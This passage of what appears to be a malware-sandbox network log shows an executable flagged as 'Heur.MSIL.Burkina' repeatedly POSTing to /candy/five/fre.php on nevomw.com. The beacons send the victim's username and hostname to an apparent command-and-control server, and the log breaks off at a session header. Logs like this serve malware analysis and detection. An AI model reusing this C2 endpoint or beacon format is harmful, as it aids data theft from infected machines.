Dec 2, 2020 11:53:53.221690893 CET	1526	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.6	49899	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:53.485192060 CET	1527	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:53.537513018 CET	1528	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:53.608858109 CET	1528	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.6	49900	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:53.899708033 CET	1529	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:53.952516079 CET	1529	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:54.026077032 CET	1530	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.6	49902	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:54.292505026 CET	1539	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:54.353563070 CET	1540	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:54.429546118 CET	1540	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.6	49903	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:54.722059965 CET	1541	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:54.774919033 CET	1541	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:54.853921890 CET	1542	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.6	49904	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:55.140343904 CET	1542	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:55.192606926 CET	1543	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:55.270211935 CET	1543	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.6	49905	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:55.522610903 CET	1544	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:55.577641964 CET	1544	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:55.652744055 CET	1545	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.6	49906	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:55.936892986 CET	1545	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:55.989226103 CET	1546	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:56.061289072 CET	1546	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.6	49907	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:56.339313030 CET	1547	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:56.391856909 CET	1547	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:56.464035988 CET	1547	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.6	49729	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:49.753380060 CET	93	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:49.806524038 CET	94	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:49.881766081 CET	94	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.6	49908	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:56.737421036 CET	1548	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:56.790050983 CET	1549	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:56.865797043 CET	1549	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.6	49909	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:57.123188019 CET	1550	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:57.175045967 CET	1550	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:57.270092964 CET	1550	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.6	49910	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:57.538551092 CET	1551	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:57.592422962 CET	1552	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:57.668447018 CET	1552	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.6	49911	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:57.975991011 CET	1553	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:58.028104067 CET	1553	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:58.112591982 CET	1553	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.6	49912	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:58.357650042 CET	1554	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:58.410573959 CET	1554	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:58.484031916 CET	1555	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.6	49913	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:58.743469954 CET	1556	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:58.796829939 CET	1556	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:58.873219013 CET	1556	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.6	49914	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:59.169840097 CET	1557	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:59.226135969 CET	1557	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:59.308444023 CET	1558	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.6	49915	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:59.598388910 CET	1559	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:59.652334929 CET	1559	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:59.725656033 CET	1559	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.6	49916	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:00.003773928 CET	1560	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:00.057231903 CET	1560	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:00.132744074 CET	1561	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.6	49917	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:00.415813923 CET	1562	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:00.471972942 CET	1562	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:00.545377016 CET	1562	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.6	49730	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:50.187410116 CET	95	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:50.239814043 CET	95	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:50.313590050 CET	95	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.6	49918	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
